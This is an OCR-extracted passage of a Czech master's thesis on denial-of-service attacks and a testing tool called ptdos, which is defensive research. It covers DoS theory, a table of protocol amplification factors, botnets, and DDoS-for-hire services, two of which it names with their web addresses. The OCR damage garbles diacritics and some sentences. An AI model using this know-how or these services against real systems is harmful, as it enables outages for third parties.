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ABSTRAKT

Diplomova prace se zabyva Utoky zpisobujici odepreni sluzeb a jejich implementaci
do vlastni aplikace ptdos, kterd umoznuje testovani webovych aplikaci s vyuzitim im-
plementovanych Gtok(. Ptdos je rovnéz schopen monitorovani priibéhu testovani a také
jeho vyhodnoceni. V teoretické ¢asti prace jsou stanoveny zakladni pojmy, popis rozfazen{
atokl do kategorii a jednotlivé toky jsou podrobné rozebrany s cilem vysvétlit jakym
zplisobem ma nastat odepreni poskytované sluzby v rdmci Gtoku. V praktické Casti prace
je popsan navrh architektury aplikace ptdos a jeji nasledny vyvoj vcetné popisu reali-
zace vsech zvolenych Gtok(. Posledni Casti prace je testovani aplikace, kde je zahrnuto
vytvoreni testovaci sité a analyza vSech realizovanych Gtoki za pomoci rliznych scénéari.
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ABSTRACT

The master thesis deals with denial of service attacks and their implementation in own
application, called ptdos, that allows testing of web applications using the implemented
attacks. Ptdos is also capable of monitoring the progress of testing as well as its evalua-
tion. In the theoretical part of the thesis, the basic concepts are defined, the classification
of attacks into categories is described and the individual attacks are discussed in detail
in order to explain how the denial of service should occur in the context of an attack.
The practical part of the thesis describes the design of the ptdos application architecture
and its subsequent development, including a description of the implementation of all the
selected attacks. The last part of the thesis is the testing of the application, which
includes the creation of a test network and the analysis of all implemented attacks using
different scenarios.
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Uvod

Prace se zabyva kybernetickymi ttoky cilenych na odepreni sluzeb neboli DoS ttoky
(Denial of Service). Pfi tomto typu utoku je zahlcena kapacita serveru anebo sité
obrovskym mnozstvim pozadavkil, ¢imz je zpusobena jejich nedostupnost a odepteni
poskytované sluzby. Prikladem muize byt pretizeni bankovnich sluzeb nebo zpravo-
dajskych webti.[1] S rostoucim odvétvim informac¢nich a komunika¢nich technologii
(ICT) jsou tyto titoky jsou stéle cast&jsi soucdsti vefejné sité internet a to v Cesku
i ve svété. Nedostupnost ICT sluzeb byla v roce 2020 nejobvyklejsim bezpecnost-
nim incidentem. V Cesku se s ni setkalo 17 % stfedné velkych podniki s 50-249
zaméstnanci a dokonce 26 % velkych podniki s 250 a vice zaméstnanci. [I] Diky této
skutecnosti nelze DoS tutoky prehlizet, a je nutné se DoS utoky zabyvat i z pohledu
kyberbezpecnosti, kdy zejména testovani odolnosti webovych aplikaci hraje velkou
roli pri obrané proti témto typum utoku. A pravé na oblast testovani DoS tutoku
se zaméruje aplikace ptdos, kterd je vyvijena s cilem prispét ke zvyseni kyberbez-
pecnosti v ¢eském, ale i svétovém, ICT prostiedi.

Vyvijend aplikace ptdos bude schopna realizovat vice nez 10 vybranych DoS
utoki s cilem testovani odolnosti webovych aplikaci. Soucasti ptdosu bude i moni-
torovaci sluzba, ktera zachyti stav cilového systému pred utokem a tento stav pak
srovna se stavem cilového systému pri probihajicim ttoku. V neposledni fadé jsou
data vyhodnocena a vracena zpét obsluze pro dalsi zpracovani. Vyhodnoceni miize
byt prezentovano v uzivatelském rozhrani v terminalu anebo ve strojové ¢itelném
formatu pro dalsi zpracovani externimi nastroji. P¥i vyvoji strojové citelného, ko-
munikacniho rozhrani byl kladen diraz na kompatibilitu s jiz existujicim systémem
Penterep, do kterého bude aplikace ptdos zaintegrovana jako jeden z modult pro
testovani webovych aplikaci. Penterep je modularni platforma slouzici k realizaci
a spravé bezpecnostnich testti pro komercéni I'T subjekty, diky ¢emuz bude zajisténo

stalé vyuziti aplikace ptdos v realném prostredi.
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Cile prace

Jak ze zadani diplomové prace vyplyva, hlavnim cilem je vytvoreni vlastniho na-
vrhu architektury a nasledny vyvoj aplikace ptdos, kterd umozni efektivni testovani
webovych serveri a aplikaci s vyuzitim riznych typa utokia cilenych na odepteni
sluzeb. Diky tomu bude prispéno ke zvyseni kyberbezpecnosti webovych aplikaci
nachézejici se v prostedi vefejnych siti v Ceské republice a ve svété.

V teoretické casti prace je cilem komplexné zanalyzovat znamé utoky omezujici
dostupnost sluzeb se zamérenim na utoky zaplavové a logické, které budou nasledné
implementovany do realizované aplikace ptdos. Déle je nutné stanovit a zadefinovat
zakladni pojmy, jenz se budou v praci vyskytovat, popsat jednotlivé typy ttok,
jakym zpusobem pracuji a na jakych vrstvach referen¢niho sitového modelu ISO/OSI
se vyskytuji. V neposledni fadé je nutné popsat jiz existujici dostupné néstroje, které
se mohou vyuzit pro realizaci DoS ttoki, a rozhodnout, zda je mozné a vhodné
neékteré nastroje zaintegrovat do vlastniho feseni.

V ramci praktické ¢asti bude navrzena vlastni architektura aplikace ptdos, jenz
bude kompatibilni s jiz existujicim nastrojem Penterep, jehoz bude aplikace ptdos
soucasti. Protoze se neustale objevuji nové typy DoS tutoki, je potfebné navrhnout
architekturu takovym zptsobem, aby bylo mozné aplikaci v budoucnu snadno rozsi-
fovat o nové DoS utoky. Pti vyvoji, jenz bude probihat s vyuzitim programovaciho
jazyka Python, je zdsadnim cilem implementace alespon 10 DoS utoki. Kromé rea-
lizace itoki bude ptdos schopen monitorovat cilovy systém pfi testovani, zachycené
vysledky vyhodnotit a vhodné zobrazit uzivateli v podobé textového terminalového
rozhrani anebo strojové citelného formatu.

V neposledni fadé bude nutné ovérit spravnou funkénost aplikace ptdos a schop-
nost realizovat implementované DoS tutoky, dle teoretickych predpokladi. Za timto
ucelem bude nutné vhodné navrhnout a sestavit testovaci sit, ktera bude vyuzita

pro testovani aplikace.
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1 Utoky cilené na odepreni dostupnosti slu-
zeb
Tercem tutoki cilenych na odepreni dostupnosti sluzeb muze byt jakékoliv pristupné
zatizeni v siti. DoS utoky se snazi znepristupnit komunikaci obéti s dalsimi za-
izenimi, ¢i uzivateli.[2] Toho mtze byt dosazeno riznymi metodami v zavislosti
na zvoleném typu ttoku. Utoky cilené na dostupnost sluzeb se déli primérné na zd-
plavové a logické. Do skupiny logickych utokt dale patii pomalé a zesilujici atoky.
Jednotlivé typy utoki jsou detailnéji popsany v kapitole [I.3] Dalsi moznou varian-
tou rozdéleni DoS utoku je dle vrstvy referenéniho modelu ISO/OSI, na které dany
utok operuje. DoS utoky se mohou objevit prakticky na kazdé vrstvé ISO/OSI mo-
delu. Vice o rozdéleni podle vrstev pojednava kapitola Castou variantou DoS
utoku jsou distribuované DoS, neboli DDoS (Distributed Denial of Service). V rdmci
DDoS figuruje tto¢nik jako skupina vzajemné kooperujicich stroju, ¢imz dojde k ze-
sileni provadéného ttoku. Utodici skupina stroji se nazyva botnet. Tato varianta

se nejcastéji vyskytuje u zdplavovych utokt. DDoS utoky se zabyva kapitola [1.4]

1.1 Definice zakladnich pojmii

Seznam obsahuje nasledujici pojmy, které jsou pouzivany napfic¢ celou praci:

e Utocénik - jedna se o jednotlivece, ¢i organizaci, jenz provadi skodlivou ¢innost
za Uucelem znic¢eni, odhaleni, poskozeni, deaktivace, kradeze, ziskani neoprav-
néného pristupu ¢i odepreni provozované sluzby obéti,

o cil atoku/cilovy systém - zafizeni obsahujici aktiva, ¢i zprostiedkovavajici
poskytovanou sluzbu. Takové zafizeni casto patii obéti anebo je obéti vyu-
zivano. V pripadé této prace se zpravidla jedna o webovy server provozujici
webové aplikace,

e server - zafizeni, které poskytuje konkrétni sluzbu. Prikladem sluzby miize
byt hostovani webové stranky, sdileni souborti, poskytovani postovni sluzby,

o klient - zafizeni, které vyuziva sluzby serveru, tzn. pristupuje na webové
stranky, stahuje soubory, odesila elektronickou postu,

« obét - osoba, jenz pristupuje/vlastni aktiva, kterd jsou odepirdna nebo odci-
zena utocnikem,

o aktiva - aktivem muze byt cokoliv, co osoba, v pripadé titoku obét, povazuje
za cenné. Mohou to byt data, sluzby, software, hardware a dalsi, [3]

« hrozba - jakdkoliv moznost ztraty aktiv,[3]

o ochrana - opatteni snizujici velikost nebo cetnost ztraty aktiv. Ochrana muze

byt typu administrativniho, organiza¢niho, persondlniho nebo technického,[3]
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bezpecnost - pojem bezpecnost miize nabyvat v riznych situacich jiného
vyznamu. V této praci je bezpecnost definovana jako stav, kdy ztraty aktiv
neptekracuji stanovenou miru. Bezpecnost nemuze byt absolutni, [3]
zabezpeceni - uceleny systém ochran urceny ke komplexni, systematické
a efektivni ochrané aktiv,[3]

slabina - zranitelné misto v pripadech, kdy zabezpeceni nezajistuje ochranu
nékterych aktiv nebo je ochrana takovychto aktiv nedostatecn, [3]

riziko - pravdépodobnost vyuZiti zranitelného mista utoénikem,[3]

incident - jakékoliv uskutecnéni hrozby, [3]

pranik /dopad - ztrata aktiv, disledek atoku nebo rozsah skod, které vznikly
pfi incidentu, [3]

vyc€erpani volnych /dostupnych prostiedki - prostiedky mohou byt ozna-
Ceny napt. poc¢et maximalnich spojeni aplikace s databazi/uzivateli, pocet do-
stupnych porti a podobné,

botnet - skupina zarizeni provadéjici védomeé, ¢i nevédomé, distribuované
utoky, viz [1.4]

pocitaCova sit - oznaceni pro technické prostiedky, které realizuji spojeni
a vyménu informaci mezi pocita¢i a umoznuji uzivatelim jejich vzajemnou
komunikaci.[3] Prikladem takové sité muze byt podnikovy intranet,
bezpecnost sité - neustaly proces, nikoliv stav, kterym se spravci siti snazi
dosdhnout a udrzet uspokojivé zabezpeceni pocitacové sité,[3]

softwarovy tester - jedna se o ¢lovéka, ktery testuje software za tic¢elem hle-
dani zranitelnosti, chyb ¢i defektii, které by mohly negativné ovlivnit provozo-
vani a pouzivani pocitacového software nebo aplikace.[4] V pripadé této préace
je testerem zamyslena osoba, kterd se primarné zabyva testovanim webovych
aplikaci, je to tedy tzv. tester webovych aplikaci,

penetracni testovani - set bezpecnostnich cviceni, pri kterém se experti
na kybernetickou bezpecnost pokousi najit zranitelnosti v pocitacovém sys-
tému & aplikaci. Uelem tohoto simulovaného ttoku je identifikovat slabé
mista v obrané systému, které by mohly byt zneuZity pfipadnymi utocniky,[5]
prikazova radka, terminal, konzole - jedna se o néastroj, ktery umoznuje
ovladat pocitac¢ za pomoci textového uzivatelského rozhrani. Vkladaji se do néj
textové prikazy, které jsou nasledné provadény pocitacem. V pocitacich s OS
Windows je toto rozhrani oznacovano jako piikazova fadka (command line),
v linuxovych systémech jako terminal. Vseobecné miize byt pouzit univerzalni

termin konzole.
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Obr. 1.1: Schématické znazornéni definice pojm.

1.2 Motivace utocnika

Vétsina motivaci utoénika spadd do jedné z nésledujicich kategorii: [6]

o financ¢ni zisk nebo ekonomicky prospéch - DoS utoky na poli elektro-
nického obchodu pripadné v bankovnim sektoru maji aktualné stoupajici ten-
denci. Utoénici pouZivaji tyto ttoky jako néstroj k vydirani, kdy nésledné
pozaduji vyplaceni rtizné velkého finanéniho obnosu jako platbu za zastaveni
utoku. V soucasnosti se prevazné jedna o platbu v kryptoménach, napt. v Bit-
coinech,

e pomsta - pouzivana proti spole¢nostem, organizacim i jedincim. Ve vétsiné
pripadi za nimi stoji nespokojeny jedinec, ¢i skupina, jenz méa za cil zpiisobit
skodu druhé strané jako odplatu za vnimanou chybu,

» ideologické presvédceni - ttocnici s touto motivaci jsou ¢asto oznacovani
jako ,hacktivisté®. Tyto osoby jsou motivovany ttocit na politické cile kviili
svému ideologickému presvédceni proti politice statu, ¢i vladé. Prikladem ta-
kového utoku muze byt udalost z ledna roku 2019, kdy byly vlddni webové
servery statu Zimbabwe zasazeny DoS ttoky, za kterymi stala hacktivisticka
skupina Anonymouﬂ, kterd timto krokem protestovala vii¢i cenzufe internetu,

o intelektualni vyzva - néktefi jedinci ttoc¢i DoS utoky na webové servery, aby
demonstrovali své technické schopnosti a svou prevahu nad obéti. Prostrednic-

tvim Dark Webuﬂ jsou jim k dispozici DoS néstroje a dokonce i sluzby, coz

! Anonymous je volné organizovand internetové skupina hackerti a aktivistéi. Jsou znami diky

svym kybernetickym ttokim na vlddy, vlddni skupiny, korporace a scientologickou cirkev.[7]
2Dark Web je skryté uskupeni internetovych stranek dostupné pouze skrz specializovany prohli-

ze€. Je vyuzivan pro udrzeni anonymity, coz mize byt uzitecné v legilnich i nelegdlnich aplikacich

a ¢innostech. Dark Web je ¢asto zndm pro vyuzivani pfi vysoce nezédkonné ¢innosti.[§]
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utoénikim usnadnuje nasazeni a experimentovani s nejnoveéjsimi technologi-
emi, jako jsou automatizace a botnety,

« vlastni potéseni - zde spadaji utoky kategorie kybersikany a trollingu. Tyto
ttoky maji zamérné slouzit k pobaveni ¢i pomsté (¢asto oboji) a dokazuji
utocnikovu schopnost narusit dany web anebo pocitacovou sit,

« kyberneticka valka - vyskytuje se pri snaze ziskat politické ¢i vojenské vy-
mické nebo fyzické skody. Skupiny provozujici kybernetické valky jsou velmi
technicky zpusobilé a organizované, casto patii do vladnich armad ¢i teroris-

tickych organizaci.

1.3 Rozdéleni atoki dle typu

1.3.1 Zaplavové

Zéplavové DoS ttoky jsou nejstarsi a nejprimitivnéjsi formou DoS ttoku. Utoénik
zaplavuje cilovy systém velkym mnozstvim pakett, ¢imz dojde k vycerpani sitové
kapacity a tim i k vypadku poskytované sluzby pro obét, ktera se snazi konzumo-
vat na danou sluzbu. Doba, kdy dojde k vypadku cilového systému se lisi dle typu
utoku, sily itoku (mnozstvi odesilanych pozadavki) a dle vypocetniho vykonu cilo-
vého systému nebo sitovych prvki. Cim vy$sim vipocetnim vykonem cilovy systém
disponuje, tim odolnéjs{ muze byt vidi zaplavovym DoS ttoktm. Utok se stéva
efektivnéjsim v pripadé, kdy dtocnik disponuje vétsim poctem zafizeni, jenz jsou
do utoku zapojeny, ¢imz je schopen vygenerovat vyssi celkovy datovy tok. Nevy-
hodou zaplavovych utokii je snadna detekovatelnost ttoku bezpecnostnimi prvky

cilového systému.

1.3.2 Logické

Zatimco zaplavové utoky maji za cil zahltit cilovy systém neobvykle velkym mnoz-
stvim standardnich dotazi, logické tutoky jsou specifictéjsi, zaméruji se na nestan-
dardni dotazy s vyuzitim potencionalnich bezpecnostnich dér cilového systému.
Pro tspésny logicky tutok, musi v cilovém systému existovat bezpecnostni slabina,
které utocnik vyuzije. Tato slabina muze byt softwarového i hardwarového typu. Lo-
gické utoky mohou byt podrobnéji rozdéleny na pomalé a zesilujici. Pomalé utoky
postupnymi kroky vycerpavaji volné prostiedky cilového systému az dojde k jejich
uplnému vycerpani, coz zpusobi neschopnost cilového systému obsluhovat dalsi poza-
davky. Zesilujici utoky vyuzivaji k itoku protokoly s vysokym zesilovacim faktorem,
viz tabulka [I.1} Diky tomu jsou schopny vyprodukovat velké mnozstvi pozadavki,
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které server neni schopen obslouzit a opét dojde k jeho zahlceni. Prikladem velmi
casté softwarové slabiny muze byt provozovani systému se zastaralou verzi operac-
niho systému, ktera obsahuje vefrejné zdokumentované slabiny, na které se utoc¢nik
muze zamérit. V tomto pripadé je tedy nejefektivnéjsi obranou provozovat verejné
dostupné systémy s aktualnim softwarovym vybavenim, protoze softwarové slabiny
jsou vétsinou dobfe zdokumentovany a bézné opravovany vydanim nové verze soft-
waru, nebo opravné zaplaty. Logické utoky byvaji ¢asto systematické, kdy cili na kon-
krétni slabinu a jako cile utoku vyhledavaji pouze servery, které tuto slabinu obsa-

huji. Takové zranitelnosti jsou casto ttocniky zneuzivany pomoci tzv. exploitﬁ.ﬂ[S)]
Tab. 1.1: Zesilovaci faktory protokoli zneuzivanych pri zesilovacich DoS.[13]

Protokol | Zesilovaci faktor | Zranitelna procedura

DNS 28-54 DNS name lookup
NTP 556,9 monlist
SNMPv2 6,3 GetBulk request
NetBIOS 3,8 Name resolution
SSDP 30,8 SEARCH request
mDNS 2-10 Unicast query
RIPv1 131,24 Malformed request
ICMP 255 Echo request /response

Logické

Pomalé DoS tutoky postupné a efektivné vycerpavaji dostupné prostredky cilového
systému. Utoénik vytvai{ neustdle nova a nové pfipojeni se systémem, piicem? jiz
vytvorena spojeni udrzuje stale oteviend. Udrzovanim mnoha otevienych spojeni
vycerpa ttocnik kapacitu cilového systému a pro skutecné uzivatele (obét), bude
systém pusobit jako nedostupny. Protoze utocénik potiebuje pro udrzeni vytvore-
nych spojeni se serverem pouze malé mnozstvi dat, dovoluji pomalé DoS tutoky
tto¢nikovi vyuzit na své strané relativné nizkou sitku pasma.[I0] To je velky rozdil
oproti zaplavovym utoktim, kdy se uto¢nik snazi vygenerovat tak vysoky datovy
tok, ze vyuziva prakticky celou sitku pasma, kterou ma k dispozici. Proti pomalym

DoS tutokum je velmi tézké se branit a to z divodu obtizné rozlisitelnosti falesnych

3Exploit mfize byt program ¢i ¢ast kédu vytvoreny za tcelem zneuziti chyby v zabezpeceni apli-
kace anebo pocitacového systému. Exploit nebyva sim o sobé skodlivym softwarem (malwarem),

ale slouzi utoénikovi k doru¢eni malware. [11]
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spojeni od platnych spojeni skutecnych uzivatelti. Napadeni pomalymi ttoky je vét-
sinou objeveno az tehdy, kdy je napadeny systém na pokraji své kapacity a nastane

odepreni poskytované sluzby.

Zesilujici

P1i zesilovacich utocich vyuziva ttoénik sluzby s velkym zesilovacim faktoremﬁ
ke znasobeni sily utoku. Zesilovaci ttoky jsou asymetrické, coz znamen4, ze je treba
relativné malého poctu zdroji ttocnika pro zpusobeni nefunkénosti ¢i selhani na-
padeného cilového systému a to i v pripadé, kdy napadeny cilovy systém disponuje
vyssim vypocetnim vykonem nez utoc¢nik. Prikladem zesilovaciho titoku mtize byt

utok Smurf. [12]

1.4 Distribuované utoky

Pri DoS ttocich je zdrojem tutoku jedno samostatné zarizeni patiici utoc¢nikovi,
ptipadné cizi zarizeni ttocnikem zneuzité. V ramci distribuovanych DoS (DDoS)
je zdrojem tutoku vétsi mnozstvi zafizeni, to znamena, ze je cilovy systém napaden
z vice stran. DDoS utoky jsou casto realizovany pomoci botneti. Rozdil mezi DoS

a DDoS je vyobrazen na obr.

B cil utoku
Utocnik
DoS
skupina Gto¢niku
cil utoku

DDoS

Obr. 1.2: Grafické srovnani DoS a DDoS ttok.

Botnety

Botnet je uskupeni poéitaci, jenz jsou napadeny skodlivym softwarem (malwarem),
ktery umozni utoc¢nikovi prevzit vzdalené kontrolu nad napadenym pocitacem. Po-

¢ita¢ figurujici jako soucast botnetu je nazyvan v jednotném cisle bot. Malware

4Zesilovaci faktor je ¢iselnd hodnota, jenz udavé kolikrat je ttok zesilen pii pouziti daného
protokolu. Zesilovaci faktory vybranych protokold jsou uvedeny v tabulce
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Obr. 1.3: Schéma centralizovaného botnetu.

nejcastéji bézi v pozadi systému jako skryty proces a je schopen prijimat prikazy
od svého nadrazeného zafizeni (centralni server). Uroveti malware se lig{ podle jeho
propracovanosti, bézné je vsak malware schopen na napadeném pocitaci ¢ist a za-
pisovat soubory, spoustét programy, zachytavat stisknuti klaves na klavesnici, pri-
stupovat k web kamere, odesilat emaily a konat dalsi ¢innosti bez védomi vlastnika
pocitace. V nejhorsich ptipadech ma malware nad napadenym pocitacem prakticky
plnou kontrolu.|[14] Takovyto malware, umoznujici vzdalenou kontrolu, se mize do-
stat do pocitace rtiznymi zptisoby. Jednim ze zptisobt muze byt zneuziti slabiny
opera¢niho systému (nebo jiného pouzitého softwaru), spolecné s instalaci jiného
softwarového ndastroje (trojsky kuan). Aby jednotlivi boti, ktef{ jsou souéasti botnetu,
plnili prikazy zadané ttocénikem, musi existovat centralni ridici server, se kterym jed-
notlivi boti komunikuji a od kterého dostavaji prikazy. Botnet muze byt organizovan
v riznych uskupenich jako jsou centralizované, proxy nebo peer-to-peer. Na obrazku
je znazornéno centralizované uskupeni botnetu. V tomto zapojeni slouzi server
utocnika jako centralni ridici jednotka, ktera nasledné tidi vSechny dostupné boty.
Vytvoreny botnet mtze slouzit k riznym funkcim, jako jsou:

o provadéni DDoS tutoki,

o zasilani spam,

o kradeni bankovnich informaci,

» hosting nelegalnich soubor.
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1.5 DDoS-as-a-Service

V soucasné dobé jsou velmi populdrni cloudové sluzby typu SaaS (Software as a Ser-
vice), které nabizi dany produkt k uzivani jako sluzbu za tplatu bez nutnosti vlastnit
jakykoliv privatni hardware. Tento druh sluzby je jiz dostupny i v ramci kybernetic-
kych ttoki a je mozné se setkat s pojmem DaaS (DDoS as a Service) neboli DDoS
jako sluzba. DaaS pracuje na stejném principu jako SaaS, tzn. je mozné si objednat
DDoS jako sluzbu bez nutnosti mit technické znalosti a vybaveni k tomu dany ttok
provést. Protoze provadéni DoS utoku i vytvareni botneti, jenz se pii DDoS ttocich
vyuzivaji, jsou nelegalnimi ¢innostmi, neni mozné, aby poskytovatelé ttok volné
nabizeli své sluzby na internetu. Z toho duvodu tito poskytovatelé maskuji své sluzby
pod nazvy jako jsou stressers nebo ddosers.[15] V piekladu by tyto sluzby mohly byt
nazvany jako ,stresatory“, které lze pouzit k otestovani odolnosti vaseho vlastniho
serveru. Protoze ze strany poskytovatele neprobiha zadna zpétna kontrola, zda jste
skutec¢né vlastnikem testovaného serveru, mohou byt tyto stresdtory pouzity na ja-
kykoliv verejné dostupny server. Diky této skute¢nosti nemusi potencionalni zajemci
vyuzivat utajenou sit Dark Web, protoze DDoS utoky jsou zptistupnény prakticky
komukoliv, kdo ma pristup k webovému vyhledavaci. Stejné jako samotné DoS ttoky;,
tak i DaaS jsou velmi populdrni. Pfesna ¢isla své ¢innosti poskytovatelé DaaS bézné
nezverejnuji, na verejnost vsak unikl vypis operac¢ni SQL databaze sluzby TwBooter,
ktery zachycuje data 52 dnii provozu této sluzby v obdobi od 23. ledna do 15. bfezna
roku 2013. Za tu dobu méla sluzba celkem 312 odbérateli, ktefi objednali 48 844
utoktd na 11174 cilti. Veskeré utoky byly provedeny 15 riznymi servery, z nichz se 2
servery nachazely na tzemi USA, ostatni servery pochéazely z Nizozemska. TwBoo-
ter vyuzival sirokou nabidku DDoS utokt jako jsou SYN flood, UDP flood, HT'TP
utoky s metodami POST/GET/HEAD, RUDY ¢i Slowloris. Celkem bylo zjisténo
12 riznych typu utoku. [16]

Spolecné znaky poskytovateli DaaS jsou néasledujici:

o skryvani tucelu - webové platformy poskytujici DaaS velmi casto neuvadi,
ze provadi DDoS tutoky k nezakonné ¢innosti. Jejich tcel je skryt za pojmeno-
vani stresser, booter ¢i jejich vzajemnou kombinaci,

o vyuzivani kryptomeén - diky anonymité kryptomén pri transakcich jsou
casto pouzivany DaaS sluzbami, jenz se pohybuji na hrané zakona, jako plati-
dlo, u kterého je velmi tézka zpétna dohledatelnost identity platce,

» Siroka nabidka testovacich metod - testovacimi metodami je myslena na-
bidka DDoS ttoki, které byvaji rozdéleny podle vrstev referenc¢niho ISO/OSI
modelu. Nejcastéji sluzby nabizi Gtoky na transportni a aplika¢ni vrstve,

e mésicni platebni plany - tento zptisob platby znamen4, Ze neni mozné koupit

konkrétni itok jednorazoveé, ale je nutné vyuzit mésiéni pausal, jenz stanovuje
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mnozstvi soucasné provadénych utokt, délku utokt, typy utoku a jejich silu
nejcastéji v jednotkach Gb/s.
Poskytovateli stresovacich sluzeb, existuje nepreberné mnozstvi. Prikladem téchto

poskytovatell jsou napr. Ripstresserﬂ nebo HardStresselﬂ

1.6 Rozdéleni atokui dle vrstvy 1ISO/OSI

DoS utoky lze délit také podle vrstvy referenéniho modelu ISO/OSI. Kazda vrstva je
specifické, protoze ttoky vyuzivaji vzdy konkrétnich vlastnosti dané vrstvy. Utoky
omezujici dostupnost sluzeb mohou cilit na kazdou vrstvu ISO/OSI modelu, véetné
fyzické vrstvy. Tabulka obsahuje prehled vrstev referenéniho modelu, datové

jednotky, typické ttoky na dané vrstvé a mozné dopady téchto utok.

Tab. 1.2: Utoky na dostupnost sluzeb podle vrstev ISO/OSI modelu. [I8]

Vrstva DoS utoky Mozny dopad dtoku

L Dosazeni maximélniho limitu sluzeb, vycer-
7. Aplikaéni HTTP DoS

pani vypocetniho vykonu

- Zasazené systémy mohou prestat prijimat za-
6. Prezentacni | THC-SSL-DoS L L )
bezpecené spojeni pomoci SSL

5. Relaéni Telnet DoS Omezeni spravy prepinacu

) Vycerpani sitky pasma nebo maximalniho
4. Transportni | SYN fl., UDP fl. . o
poctu pripojeni

3. Sitova Smurf, Ping of death | Ovlivnéni sitky pasma sité, zatéz firewallu

) , Data jsou smérovdna na vsSechny porty, vy-
2. Linkova MAC fl., ARP fl. o .
cerpani sitové kapacity

L Ruseni frekv. pasma, | Fyzické zdroje prestavaji spravné fungovat,
1. Fyzicka

poskozeni vybaveni nutna oprava zafizeni

Fyzicka vrstva
Utoky omezujici sluzby jsou na fyzické vrstvé rozdéleny na rusivé (jamming) a ma-
nipulacni (tampering).[I7] Rusivé atoky jsou velmi zndmé v bezdratové komunikaci,

kde tito¢nik frekvenéni rusickod] cilené zahlcuje vyuzivané frekvenéni pasmo, ¢im#

Shttps://ripstresser.net/

Shttps://hardstresser.com/

"K pouzivani frekvenénich rusicek pfistupuji staty odlisné. Jejich pouziti je zakdzano v USA,
naopak Francie umoznuje pouziti frekvencnich rusicek pro omezeni telekomunikaci v restauracich

¢i divadlech. Italie umoznuje rusicky vyuzit pro zamezeni podvadéni studentt pii zkouskach.[I7]
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znemozni komunikaci béznym zatfizenim. Omezeni dostupnosti sluzeb miize nastat
také netimyslné, v pripadé velkého zahlceni frekvencéniho pasma béznymi zarizenimi.
Tato situace bézné nastava v pripadé technologie Wi-Fi, kdy v husté zalidnénych
aglomeracich dochézi diky velkému poctu zatizeni k zaruseni pouzivanych frekvenc-
nich pasem a tim i k omezeni dostupnosti sluzeb pro postizena zafizeni. Manipu-
la¢ni ttoky jsou provedeny fyzicky pfimo na zafizenich, kdy tto¢nik nahradi nebo
umyslné poskodi vypocetni jednotku ¢i pouzivany senzor zafizeni, ¢imz si zajisti
moznost pro pozdéjsi pristup a potencionédlni tnik informaci.[I7] Rovnéz zde patii
utoky, které maji za cil poskodit sitové vybaveni. Prikladem je preruseni kabelu nebo

zameérné zkratovani vybaveni.

Linkova vrstva

V piipadé MAC flood titoku se tto¢nik pokousi zahltit MAC (Media Access Con-
trol) tabulku prepinace velkym mmnoZstvim neplatnych MAC adres, coz zptsobi,
ze prepina¢ zacne odebirat z tabulky ptivodni validni zdznamy s cilem upiednost-
nit nové zaznamy. Jakmile jsou vSechny validni MAC adresy z tabulky odebrany,
prepina¢ se bude chovat jako sitovy hub, protoze veskera komunikace bude za-
slana na vsSechny porty prepinace, protoze se cilovd MAC adresa nenachazi v MAC
tabulce.[19] Protokol ARP (Address Resolution Protocol) mapuje MAC adresy k IP
adresam do tzv. ARP tabulky. Pokud prepinac ptijme IP paket, pro ktery nema exis-
tujici zaznam ve své ARP tabulce, tak prepinac¢ odesle blizkym zafizenim zpravy,
s cilem doplnit chybéjici zdznam. V pripadé ARP zaplavy ttocnik odesle na sméro-
vac velké mnozstvi paketi s cilovymi IP adresami, které jsou smérovaci nedostupné.
Smérovac, ve snaze doplnit vSechny chybéjici zaznamy k témto nedostupnym IP ad-

resam, zahlti celou svou pamét, coz mize zpusobit jeho nedostupnost az vypnuti.[20]

Sitova vrstva

Treti vrstva OSI modelu ma na starost smérovani a prepinani datovych paketi
do riznych siti. Utoenik do napadené sité vysle nadmérné mnozstvi datového pro-
vozu, se kterym si napadena sit nebude schopna poradit. Postupné dojde k pomalé
odezvé sité a k zahazovani paketii. Diky zahazovani pakettt budou pakety odesilany
opakované, ¢imz se mnozstvi datového provozu v siti jesté zvysi. Diky témto skutec-
nostem bude napadena sif plisobit jako nedostupna pro bézné uzivatele. Prikladem

utoku na sitové vrstvé muze byt Smurf popsany v kapitole [I.7.7]

Transportni vrstva
Utoky na transportni vrstvé jsou zaloZeny na generovani a vysilani nadmérného
mnozstvi datového provozu za ucelem vytadit docasné anebo trvale napadené zari-

zeni z provozu. Tyto utoky vétsinou zneuzivaji vlastnosti transportnich protokoli
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TCP (Transmission Control Protocol) a UDP (User Datagram Protocol) k zaplaveni
zatizeni v napadené siti.[I7] DoS ttoky jsou na transportni vrstvé rozdéleny na za-
plavové a de-synchronizacéni. [21] Utoénik, vyuzivajici zdplavové ttoky na transportni
vrstvé, neustdle vytvari nova spojeni a udrzuje stavajici spojeni s napadenym zari-
zenim, ¢imz vycerpa maximalni mnozstvi otevienych spojeni napadeného zarizeni.
Toto zarizeni jiz nebude schopno vytvorit spojeni od dalSich zafizeni, pro které
se bude tvarit jako nedostupné.[21] De-synchronizace v tomto kontextu znamend
preruseni stavajiciho spojeni mezi zafizenimi. Utoénik mize podvrhovat zpravy kon-
covému zafizeni, ¢cimz toto zarizeni donuti vyzadat si opakovany prenos nezachyce-
nych segmentt. Pokud uto¢nik zvoli spravné nacasovani muiize vyrazné snizit kva-
litu komunikace nebo dokonce znemoznit komunikaci mezi zarizenimi, coz zpiisobi,
ze misto toho budou plytvat svou kapacitou na pokusy o zotaveni se z chyb, které

ve skutecnosti neexistuji. [21]

Relacni vrstva

Rela¢n{ vrstva ma na starost synchronizaci a ukonéovani spojeni v siti.[22] Utoénik
zneuziva log-in a log-off procesii k zacileni DoS ttokt, prikladem takového ttoku
miize byt Telnetf] DoS. Pii titoku Telnet DoS je titoénikem zaslano velké mnozstvi
neuziteénych a nevalidnich datovych rdamct protokolu telnet smérem k cili, ¢imz

dojde k zahlceni sluzby a omezeni obsluhy vzdédlené spravovat napadené zaiizeni.[17]

Prezentacni vrstva

Na prezentacni vrstvé pracuje kryptograficky protokol SSL (Secure Socket Layer),
jenz je predchidcem protokolu TLS (Transport Layer Security).[I7] Tyto proto-
koly v soucasnosti poskytuji zabezpeceni prakticky vsech webovych sluzeb pracujici
s citlivymi daty uzivatele. Velka rozsitenost protokolu SSL méla za dusledek zvy-
seni pozornosti tto¢nikl. DoS utoky na prezentacni vrstvé vyuzivaji zdeformované
SSL pozadavky. Prikladem takového tutoku, vyuzivajici zranitelnosti SSL, je ttok
THC-SSL-DoS. Tento utok vyuziva jediné TCP spojeni k nepretrzitému opétov-
nému vyjednavani novych Sifrovacich kli¢i. Nejprve je mezi zarizenimi vytvoreno
TCP spojeni a poté je zahajen SSL handshake. Po tispésném dokonceni SSL hand-
